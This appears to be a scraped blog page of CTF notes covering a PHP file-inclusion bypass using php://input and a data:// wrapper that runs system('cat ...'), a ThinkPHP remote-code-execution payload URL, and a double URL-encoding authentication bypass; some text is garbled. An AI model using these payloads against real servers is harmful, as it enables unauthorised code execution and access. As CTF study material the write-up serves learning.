当前位置:网站首页>CTF record
CTF record
2022-07-02 11:18:00 【freshfox】
Source audit
File contains :
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post data php Code .
2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce Pay attention when exploiting vulnerabilities payload
Exploit :
payload:
see phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
View sensitive files :
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
First step , To make "admin"===$_GET[id] Don't set up
We can admin Conduct url code , Of course, you can also code one of the letters here a Encoding :%61dmin
The first practical comparison if("admin"==="%61dmin") Don't set up
1
The second step , after G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);, bring $_GET[id] == "admin" establish .
after urldecode After decoding, it becomes admin
The second practical comparison if("admin" == "admin"); establish
1
** Be careful :** When the parameter is passed in id when , The browser will be right and wrong later ASCII The character of the code is carried out once urlencode code , It will be automatically performed once when running urldecode
Because we are url Run directly in the connection , The browser will make a url decode , So we'll do it again url code , That's right admin Code twice and then run
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- ROS lacks xacro package
- PHP tea sales and shopping online store
- Tick Data and Resampling
- Thanos Receiver
- Special topic of binary tree -- acwing 3540 Binary search tree building (use the board to build a binary search tree and output the pre -, middle -, and post sequence traversal)
- PLC-Recorder快速监控多个PLC位的技巧
- 【云原生】2.5 Kubernetes 核心实战(下)
- Basic usage of MySQL in centos8
- 【深入浅出玩转FPGA学习5-----复位设计】
- I STM32 development environment, keil5/mdk5.14 installation tutorial (with download link)
猜你喜欢
Internship report skywalking distributed link tracking?
enumrate的start属性的坑
Verilog and VHDL signed and unsigned number correlation operations
Why does LabVIEW lose precision in floating point numbers
[play with FPGA learning 5 in simple terms ----- reset design]
Win11 arm system configuration Net core environment variable
How to transfer event objects and user-defined parameters simultaneously in Huawei express applications
II Stm32f407 chip GPIO programming, register operation, library function operation and bit segment operation
Compilation errors and printout garbled problems caused by Chinese content in vs2019 code
ctf 记录
随机推荐
webauthn——官方开发文档
flink二開,實現了個 batch lookup join(附源碼)
How to implement tabbar title bar with list component
金山云——2023届暑期实习
Flink two Open, implement Batch Lookup join (attached source)
Native method merge word
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
Gaode draws lines according to the track
C# 文件与文件夹操作
ren域名有价值吗?值不值得投资?ren域名的应用范围有哪些?
Multi line display and single line display of tqdm
STM32单片机编程学习
接口调试工具概论
Some things configured from ros1 to ros2
Jenkins installation
ROS lacks catkin_ pkg
The working day of the month is calculated from the 1st day of each month
String (Analog
Approximate sum count (approximate
【IDEA】使用插件一键逆向生成代码